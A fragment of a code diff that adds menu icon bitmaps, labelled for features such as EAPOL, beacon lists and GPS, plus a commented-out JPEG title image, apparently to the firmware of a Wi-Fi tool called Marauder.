+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFB, 0x3F, 0xFF, 0xF5, 0x3F, // General apps: 15
+ 0xFF, 0xEA, 0x3F, 0x7F, 0xDB, 0x3F, 0xBF, 0xBB, 0x3F, 0xDF, 0x7B, 0x3F,
+ 0xEF, 0xFB, 0x3E, 0xCF, 0x7B, 0x3E, 0xAF, 0xB5, 0x3E, 0x6F, 0xEF, 0x3E,
+ 0xEF, 0xDE, 0x3E, 0xAF, 0xB5, 0x3E, 0xCF, 0x7B, 0x3E, 0xDF, 0x7B, 0x3F,
+ 0xBF, 0xBB, 0x3F, 0x7F, 0xDB, 0x3F, 0xFF, 0xEA, 0x3F, 0xFF, 0xF1, 0x3F,
+ 0xFF, 0xFB, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xE0, 0x3F, 0x3F, 0x80, 0x3F, // Update: 16
+ 0x1F, 0x00, 0x3F, 0x0F, 0x00, 0x3E, 0x07, 0x00, 0x3C, 0x07, 0x08, 0x3C,
+ 0x03, 0x18, 0x38, 0x03, 0x38, 0x38, 0xC3, 0x7F, 0x38, 0xC3, 0x7F, 0x38,
+ 0x03, 0x38, 0x38, 0x03, 0x18, 0x38, 0x07, 0x08, 0x3C, 0x07, 0x00, 0x3C,
+ 0x0F, 0x00, 0x3E, 0x1F, 0x00, 0x3F, 0x3F, 0x80, 0x3F, 0xFF, 0xE0, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0x1F, 0x3F, 0x3E, // Device: 17
+ 0x1F, 0x3F, 0x3E, 0x1F, 0x3F, 0x3E, 0x1F, 0x3F, 0x3E, 0x1F, 0x1E, 0x3E,
+ 0x9F, 0x5E, 0x3E, 0x9F, 0x4C, 0x3E, 0x9F, 0x6D, 0x3E, 0x9F, 0x61, 0x3E,
+ 0x9F, 0x73, 0x3E, 0x9F, 0x73, 0x3E, 0x9F, 0x7F, 0x3E, 0x9F, 0x7F, 0x3E,
+ 0x9F, 0x7F, 0x3E, 0x9F, 0x7F, 0x3E, 0x9F, 0x7F, 0x3E, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, // Device Info: 18
+ 0xFF, 0xF1, 0x3F, 0xFF, 0xF1, 0x3F, 0xFF, 0xF1, 0x3F, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0x7F, 0xF0, 0x3F, 0xFF, 0xF1, 0x3F, 0xFF, 0xF1, 0x3F,
+ 0xFF, 0xF1, 0x3F, 0xFF, 0xF1, 0x3F, 0xFF, 0xF1, 0x3F, 0xFF, 0xF1, 0x3F,
+ 0xFF, 0xF1, 0x3F, 0x7F, 0xC0, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0x00, 0x3C, 0x7F, 0xFF, 0x3D, // SD Update: 19
+ 0xBF, 0xFF, 0x3D, 0xDF, 0xFF, 0x3D, 0xEF, 0xFF, 0x3D, 0x6F, 0xC4, 0x3D,
+ 0xAF, 0xB7, 0x3D, 0xAF, 0xB7, 0x3D, 0x6F, 0xB6, 0x3D, 0xEF, 0xB5, 0x3D,
+ 0xEF, 0xB5, 0x3D, 0x2F, 0xC6, 0x3D, 0xEF, 0xFF, 0x3D, 0xEF, 0xFF, 0x3D,
+ 0xEF, 0xFF, 0x3D, 0xEF, 0xFF, 0x3D, 0xEF, 0xFF, 0x3D, 0x0F, 0x00, 0x3C,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xC0, 0x3F, 0x3F, 0x23, 0x3F, 0xDF, 0x94, 0x3E, // Web Update: 20
+ 0x6F, 0x55, 0x3D, 0xB7, 0xB6, 0x3A, 0x03, 0x00, 0x30, 0xDB, 0xB6, 0x35,
+ 0xDD, 0xB6, 0x2D, 0xED, 0xB6, 0x2B, 0xED, 0xB6, 0x2B, 0x01, 0x00, 0x20,
+ 0xED, 0xB6, 0x2B, 0xDD, 0xB6, 0x2D, 0xDB, 0xB6, 0x35, 0xDB, 0x96, 0x35,
+ 0x07, 0x00, 0x38, 0x6F, 0x55, 0x3D, 0xDF, 0x94, 0x3E, 0x3F, 0x23, 0x3F,
+ 0xFF, 0xC0, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3B, 0xFF, 0xFF, 0x39, // EAPOL: 21
+ 0xFF, 0xFF, 0x3C, 0xFF, 0x7F, 0x3A, 0xFF, 0x3F, 0x37, 0xFF, 0x9F, 0x3E,
+ 0xFF, 0xCF, 0x3D, 0xFF, 0xE7, 0x3F, 0xFF, 0xF3, 0x3F, 0xCF, 0xF9, 0x3F,
+ 0xB7, 0xFC, 0x3F, 0x77, 0xFE, 0x3F, 0xF7, 0xFE, 0x3F, 0xEF, 0xFD, 0x3F,
+ 0xDF, 0xFB, 0x3F, 0xBF, 0xFB, 0x3F, 0x7F, 0xFC, 0x3F, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFC, 0x9F, 0xF9, 0xDF, 0xFB, 0xDF, 0xFB, 0x1F, 0xF8, // Battery: 22
+ 0x1F, 0xF8, 0x1F, 0xF8, 0x1F, 0xF8, 0x1F, 0xF8, 0x1F, 0xF8, 0x1F, 0xF8,
+ 0x1F, 0xF8, 0x1F, 0xF8, 0x1F, 0xF8, 0xFF, 0xFF},
+ {0xFF, 0xFF, 0xFF, 0xFF, 0x07, 0xFC, 0x07, 0xF8, 0x07, 0xF0, 0x07, 0xE0, // SD: 23
+ 0x67, 0xE7, 0x97, 0xE9, 0x17, 0xE9, 0x67, 0xE9, 0x87, 0xE9, 0x97, 0xE9,
+ 0x67, 0xE7, 0x07, 0xE0, 0x07, 0xE0, 0xFF, 0xFF},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0x7F, 0x80, 0x3F, 0xBF, 0x7F, 0x3F, // PWNAGOTCHI: 24
+ 0xDF, 0xC0, 0x3E, 0x6F, 0xBF, 0x3D, 0xBF, 0x61, 0x3F, 0xFF, 0xDE, 0x3F,
+ 0xFF, 0xF3, 0x3F, 0xFF, 0xFF, 0x3F, 0xFB, 0xFF, 0x37, 0xFD, 0xFF, 0x2F,
+ 0xFE, 0xFF, 0x1F, 0x8E, 0x7F, 0x1C, 0x36, 0xBF, 0x19, 0x16, 0xBF, 0x18,
+ 0x06, 0x3F, 0x18, 0x8E, 0x7F, 0x1C, 0xFD, 0xFF, 0x2F, 0xDB, 0xF3, 0x36,
+ 0x3F, 0x0C, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xF3, 0x3F, 0xFF, 0xE1, 0x3F, 0xCF, 0xE1, 0x3C, 0x87, 0x61, 0x38, // SHUTDOWN: 25
+ 0xC3, 0xE1, 0x30, 0xE1, 0xE1, 0x21, 0xF1, 0xE1, 0x23, 0xF1, 0xE1, 0x23,
+ 0xF8, 0xE1, 0x07, 0xF8, 0xE1, 0x07, 0xF8, 0xE1, 0x07, 0xF8, 0xF3, 0x07,
+ 0xF8, 0xFF, 0x07, 0xF9, 0xFF, 0x27, 0xF1, 0xFF, 0x23, 0xF1, 0xFF, 0x23,
+ 0xE1, 0xFF, 0x21, 0xC3, 0xFF, 0x30, 0x07, 0x3F, 0x38, 0x0F, 0x00, 0x3C,
+ 0x1F, 0x00, 0x3E, 0xFF, 0xC1, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xF3, 0x3F, 0xFF, 0xE1, 0x3F, // BEACON_LIST: 26
+ 0xFF, 0xDE, 0x3F, 0x1F, 0x12, 0x3E, 0xEF, 0xF3, 0x3D, 0xE7, 0xF3, 0x39,
+ 0x37, 0x1E, 0x3B, 0x37, 0x1E, 0x3B, 0xEF, 0xF3, 0x3D, 0xEF, 0xF3, 0x3D,
+ 0x37, 0x1E, 0x3B, 0x37, 0x1E, 0x3B, 0xE7, 0xF3, 0x39, 0xEF, 0xF3, 0x3D,
+ 0x1F, 0x12, 0x3E, 0xFF, 0xDE, 0x3F, 0xFF, 0xE1, 0x3F, 0xFF, 0xF3, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0x77, 0x77, 0x37, 0x2B, 0xAB, 0x32, 0x6B, 0xAB, 0x36, // GENERATE: 27
+ 0x6B, 0xAB, 0x36, 0x6B, 0xAB, 0x36, 0x77, 0x77, 0x37, 0xFF, 0xFF, 0x3F,
+ 0x77, 0x77, 0x37, 0xB3, 0x2A, 0x2B, 0xB7, 0x6A, 0x2B, 0xB7, 0x6A, 0x2B,
+ 0xB7, 0x6A, 0x2B, 0x77, 0x77, 0x37, 0xFF, 0xFF, 0x3F, 0x77, 0x77, 0x37,
+ 0x33, 0x2B, 0x33, 0x77, 0x6B, 0x37, 0x77, 0x6B, 0x37, 0x77, 0x6B, 0x37,
+ 0x77, 0x77, 0x37, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0x1F, 0x00, 0x3E, // CLEAR_ICO: 28
+ 0xEF, 0xFF, 0x3D, 0xEF, 0xFF, 0x3D, 0x1F, 0x1E, 0x3E, 0xFF, 0xE1, 0x3F,
+ 0x7F, 0x9E, 0x3F, 0xFF, 0xED, 0x3F, 0x07, 0x00, 0x38, 0x0B, 0x00, 0x34,
+ 0xE3, 0xDE, 0x31, 0xEB, 0xDE, 0x35, 0xA5, 0x52, 0x29, 0x0D, 0x00, 0x2C,
+ 0xFD, 0xFF, 0x2F, 0xF3, 0xFF, 0x33, 0x0F, 0x1E, 0x3C, 0xF3, 0xE1, 0x33,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3C, 0xFF, 0xFF, 0x3E, 0xFF, 0x7F, 0x3E, // KEYBOARD_ICO: 29
+ 0xFF, 0x0F, 0x3F, 0xFF, 0xE7, 0x3F, 0xFF, 0xF3, 0x3F, 0x00, 0x00, 0x00,
+ 0xFE, 0xFF, 0x1F, 0x92, 0x92, 0x12, 0x92, 0x92, 0x12, 0xFE, 0xFF, 0x1F,
+ 0x22, 0x29, 0x11, 0x22, 0x29, 0x11, 0xFE, 0xFF, 0x1F, 0x92, 0x40, 0x12,
+ 0x92, 0x40, 0x12, 0xFE, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0x00}, // JOIN_WIFI 30
+ {0x7F, 0xFE,0xFF, 0x7F, 0xFC, 0xFF, 0xFF, 0xF8, 0xFF, 0x00, 0x00, 0xF8, // LANGUAGE: 31
+ 0x00, 0x00, 0xF8, 0xCF, 0x3F, 0xFF, 0xCF, 0x3F ,0xFF, 0x9F, 0x9F, 0xFF,
+ 0x9F, 0x8F, 0xFF, 0x3F, 0xC7, 0xFF, 0x3F, 0xE2, 0xFF, 0xFF, 0xF0, 0xFF,
+ 0x7F, 0xF8, 0xFF, 0x1F, 0xF2, 0xFE, 0x87, 0x67, 0xFD, 0xE0, 0x4F, 0xFD,
+ 0xF9, 0xBF, 0xFB, 0xFF, 0xBF, 0xFB, 0xFF, 0x3F, 0xF8, 0xFF, 0xDF, 0xF7,
+ 0xFF, 0xDF, 0xF7, 0xFF, 0xDF, 0xF7},
+ {0xFF, 0xFF, 0xFF, 0xFB, 0xFF, 0xF5, 0xEF, 0xEE, 0x57, 0xF7, 0x2F, 0xFA, // GPS: 32
+ 0x1F, 0xFC, 0x0F, 0xDE, 0x17, 0xD5, 0xBB, 0xD6, 0xDD, 0xDB, 0xEB, 0xEC,
+ 0xF7, 0xF7, 0x7F, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xBF, 0x3F, 0xFF, 0x5F, 0x3F, 0xFF, 0xEF, 0x3E, // GPS MENU: 33
+ 0xFF, 0xF7, 0x3D, 0xBF, 0xFA, 0x3E, 0x5F, 0x7C, 0x3F, 0x3F, 0xB8, 0x3F,
+ 0x1F, 0xD0, 0x3F, 0x3F, 0xE0, 0x3F, 0x5F, 0xF0, 0x3F, 0xEF, 0xE8, 0x3F,
+ 0xF7, 0xE5, 0x3B, 0xFB, 0xDE, 0x3A, 0x7D, 0xFF, 0x3A, 0xBB, 0x7F, 0x3B,
+ 0xD7, 0x9F, 0x3D, 0xEF, 0xFF, 0x3E, 0xFF, 0x0F, 0x3F, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0xFD, 0xBF, 0x0B, 0xD0, 0xE7, 0xE7, 0xEF, 0xF7, 0xCF, 0xF3, // DISABLED TOUCH: 34
+ 0xAF, 0xF5, 0x6F, 0xF6, 0x6F, 0xF6, 0xAF, 0xF5, 0xCF, 0xF3, 0x0F, 0xF0,
+ 0xE7, 0xE7, 0x0B, 0xD0, 0xFD, 0xBF, 0xFF, 0xFF}
+};
+
+/*#ifndef MARAUDER_MINI
+ static const uint8_t MarauderTitle[] PROGMEM = {
+ 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x00, 0x60,
+ 0x00, 0x60, 0x00, 0x00, 0xFF, 0xE1, 0x00, 0x22, 0x45, 0x78, 0x69, 0x66, 0x00, 0x00, 0x4D, 0x4D,
+ 0x00, 0x2A, 0x00, 0x00, 0x00, 0x08, 0x00, 0x01, 0x01, 0x12, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01,
+ 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDB, 0x00, 0x43, 0x00, 0x02, 0x01, 0x01,
+ 0x02, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x03, 0x05, 0x03, 0x03, 0x03,
+ 0x03, 0x03, 0x06, 0x04, 0x04, 0x03, 0x05, 0x07, 0x06, 0x07, 0x07, 0x07, 0x06, 0x07, 0x07, 0x08,
+ 0x09, 0x0B, 0x09, 0x08, 0x08, 0x0A, 0x08, 0x07, 0x07, 0x0A, 0x0D, 0x0A, 0x0A, 0x0B, 0x0C, 0x0C,
+ 0x0C, 0x0C, 0x07, 0x09, 0x0E, 0x0F, 0x0D, 0x0C, 0x0E, 0x0B, 0x0C, 0x0C, 0x0C, 0xFF, 0xDB, 0x00,
+ 0x43, 0x01, 0x02, 0x02, 0x02, 0x03, 0x03, 0x03, 0x06, 0x03, 0x03, 0x06, 0x0C, 0x08, 0x07, 0x08,
+ 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C,
+ 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C,
+ 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C,
+ 0x0C, 0x0C, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x01, 0x40, 0x00, 0xF0, 0x03, 0x01, 0x22, 0x00, 0x02,
+ 0x11, 0x01, 0x03, 0x11, 0x01, 0xFF, 0xC4, 0x00, 0x1F, 0x00, 0x00, 0x01, 0x05, 0x01, 0x01, 0x01,
+ 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05,
+ 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0xFF, 0xC4, 0x00, 0xB5, 0x10, 0x00, 0x02, 0x01, 0x03, 0x03,
+ 0x02, 0x04, 0x03, 0x05, 0x05, 0x04, 0x04, 0x00, 0x00, 0x01, 0x7D, 0x01, 0x02, 0x03, 0x00, 0x04,
+ 0x11, 0x05, 0x12, 0x21, 0x31, 0x41, 0x06, 0x13, 0x51, 0x61, 0x07, 0x22, 0x71, 0x14, 0x32, 0x81,
+ 0x91, 0xA1, 0x08, 0x23, 0x42, 0xB1, 0xC1, 0x15, 0x52, 0xD1, 0xF0, 0x24, 0x33, 0x62, 0x72, 0x82,
+ 0x09, 0x0A, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x34, 0x35, 0x36,
+ 0x37, 0x38, 0x39, 0x3A, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x53, 0x54, 0x55, 0x56,
+ 0x57, 0x58, 0x59, 0x5A, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x73, 0x74, 0x75, 0x76,
+ 0x77, 0x78, 0x79, 0x7A, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x92, 0x93, 0x94, 0x95,
+ 0x96, 0x97, 0x98, 0x99, 0x9A, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xB2, 0xB3,
+ 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA,
+ 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
+ 0xE8, 0xE9, 0xEA, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFF, 0xC4, 0x00,
+ 0x1F, 0x01, 0x00, 0x03, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0xFF, 0xC4,
+ 0x00, 0xB5, 0x11, 0x00, 0x02, 0x01, 0x02, 0x04, 0x04, 0x03, 0x04, 0x07, 0x05, 0x04, 0x04, 0x00,
+ 0x01, 0x02, 0x77, 0x00, 0x01, 0x02, 0x03, 0x11, 0x04, 0x05, 0x21, 0x31, 0x06, 0x12, 0x41, 0x51,
+ 0x07, 0x61, 0x71, 0x13, 0x22, 0x32, 0x81, 0x08, 0x14, 0x42, 0x91, 0xA1, 0xB1, 0xC1, 0x09, 0x23,
+ 0x33, 0x52, 0xF0, 0x15, 0x62, 0x72, 0xD1, 0x0A, 0x16, 0x24, 0x34, 0xE1, 0x25, 0xF1, 0x17, 0x18,
+ 0x19, 0x1A, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x43, 0x44, 0x45,
+ 0x46, 0x47, 0x48, 0x49, 0x4A, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x63, 0x64, 0x65,
+ 0x66, 0x67, 0x68, 0x69, 0x6A, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x82, 0x83, 0x84,
+ 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0xA2,
+ 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9,
+ 0xBA, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
+ 0xD8, 0xD9, 0xDA, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xF2, 0xF3, 0xF4, 0xF5,
+ 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFF, 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11,
+ 0x00, 0x3F, 0x00, 0xFE, 0x7F, 0xE8, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0x8A,
+ 0x00, 0x28, 0xA2, 0x8A, 0x00, 0x28, 0xA2, 0xBB, 0x5F, 0x83, 0x5F, 0x02, 0x75, 0x7F, 0x8E, 0x37,
+ 0x77, 0xF0, 0xE9, 0x37, 0x1A, 0x6D, 0xBB, 0x69, 0xE8, 0x8F, 0x21, 0xBB, 0x91, 0xD0, 0x30, 0x62,
+ 0x40, 0xC6, 0xD4, 0x6F, 0x43, 0xD7, 0x15, 0xCF, 0x8A, 0xC5, 0x52, 0xC3, 0xD2, 0x75, 0xAB, 0xCB,
+ 0x96, 0x2B, 0x76, 0xFE, 0xE3, 0xD6, 0xC8, 0xF2, 0x2C, 0xC3, 0x39, 0xC7, 0x53, 0xCB, 0x32, 0xBA,
+ 0x4E, 0xAD, 0x6A, 0x97, 0xE5, 0x8C, 0x77, 0x76, 0x4E, 0x4E, 0xDE, 0x89, 0x37, 0xF2, 0x38, 0xAA,
+ 0x2B, 0x4B, 0xC5, 0xFE, 0x16, 0xBA, 0xF0, 0x47, 0x8A, 0x75, 0x0D, 0x1E, 0xF9, 0x55, 0x6E, 0xB4,
+ 0xD9, 0xDE, 0x09, 0x0A, 0x83, 0xB5, 0xCA, 0x9C, 0x6E, 0x5C, 0x80, 0x4A, 0xB0, 0xC1, 0x04, 0x81,
+ 0x90, 0x41, 0xAC, 0xDA, 0xDA, 0x9D, 0x48, 0xCE, 0x2A, 0x70, 0x77, 0x4F, 0x55, 0xE8, 0x70, 0xE2,
+ 0xB0, 0xB5, 0x70, 0xD5, 0xA7, 0x86, 0xAF, 0x17, 0x19, 0xC1, 0xB8, 0xC9, 0x3D, 0xD3, 0x4E, 0xCD,
+ 0x3F, 0x34, 0xF4, 0x0A, 0x2B, 0xD2, 0x35, 0x3F, 0xD9, 0x7B, 0xC4, 0x5A, 0x3F, 0xC2, 0x7F, 0xF8,
+ 0x4C, 0x2E, 0x2E, 0x34, 0xB8, 0xF4, 0xEF, 0xB3, 0xC7, 0x73, 0xE4, 0x17, 0x94, 0x5C, 0x85, 0x76,
+ 0x01, 0x7E, 0x53, 0x1E, 0xDC, 0xFC, 0xC0, 0xFD, 0xEE, 0x95, 0xE6, 0xF5, 0xCF, 0x85, 0xC7, 0x50,
+ 0xC4, 0xA9, 0x3A, 0x12, 0x52, 0xE5, 0x76, 0x76, 0xE8, 0xD7, 0x43, 0xD6, 0xCF, 0xB8, 0x5F, 0x35,
+ 0xC9, 0x27, 0x4A, 0x9E, 0x6B, 0x42, 0x54, 0x5D, 0x58, 0x2A, 0x90, 0x52, 0x56, 0xE6, 0x84, 0xAF,
+ 0x69, 0x2F, 0x27, 0x67, 0xF7, 0x05, 0x15, 0xE8, 0x97, 0x5F, 0xB3, 0x27, 0x88, 0xAD, 0x3E, 0x11,
+ 0x0F, 0x19, 0x99, 0x34, 0xF6, 0xD3, 0x5A, 0x05, 0xB9, 0xFB, 0x3A, 0xB4, 0xA6, 0xEB, 0xCB, 0x66,
+ 0x0B, 0xBB, 0x6E, 0xCD, 0xB8, 0x00, 0xEE, 0x27, 0x76, 0x36, 0x82, 0x6B, 0xCE, 0xE8, 0xC2, 0xE3,
+ 0x68, 0x62, 0x14, 0x9D, 0x09, 0x29, 0x72, 0xB6, 0x9D, 0xBA, 0x35, 0xBA, 0x27, 0x3C, 0xE1, 0x9C,
+ 0xD3, 0x26, 0x95, 0x18, 0xE6, 0x94, 0x25, 0x49, 0xD6, 0x84, 0x6A, 0x43, 0x99, 0x5B, 0x9A, 0x12,
+ 0xBF, 0x2C, 0x97, 0x93, 0xB3, 0xF3, 0x0A, 0x2B, 0xD8, 0x3C, 0x1D, 0xFB, 0x15, 0x78, 0xAB, 0xC6,
+ 0xFE, 0x15, 0xD3, 0xF5, 0x8B, 0x5D, 0x43, 0xC3, 0xF1, 0xDB, 0x6A, 0x50, 0x2D, 0xC4, 0x4B, 0x2C,
+ 0xF3, 0x09, 0x15, 0x58, 0x64, 0x64, 0x08, 0x88, 0xCF, 0xD0, 0x9A, 0xD2, 0xFF, 0x00, 0x86, 0x01,
+ 0xF1, 0x97, 0xFD, 0x04, 0xBC, 0x33, 0xFF, 0x00, 0x81, 0x13, 0xFF, 0x00, 0xF1, 0x9A, 0xF2, 0xEA,
+ 0x71, 0x3E, 0x55, 0x09, 0x38, 0x4A, 0xBC, 0x53, 0x5A, 0x33, 0xEF, 0x30, 0xBE, 0x05, 0xF1, 0xEE,
+ 0x26, 0x84, 0x31, 0x34, 0x32, 0xBA, 0xB2, 0x84, 0xD2, 0x94, 0x5A, 0x4A, 0xCD, 0x35, 0x74, 0xD6,
+ 0xBD, 0x53, 0xB9, 0xE1, 0xB4, 0x57, 0x4D, 0xF1, 0x57, 0xE1, 0x36, 0xAD, 0xF0, 0x7B, 0xC4, 0x7F,
+ 0xD9, 0xBA, 0xB2, 0xC6, 0xD2, 0x32, 0x6F, 0x8E, 0x68, 0x43, 0xF9, 0x33, 0x0E, 0xFB, 0x59, 0x95,
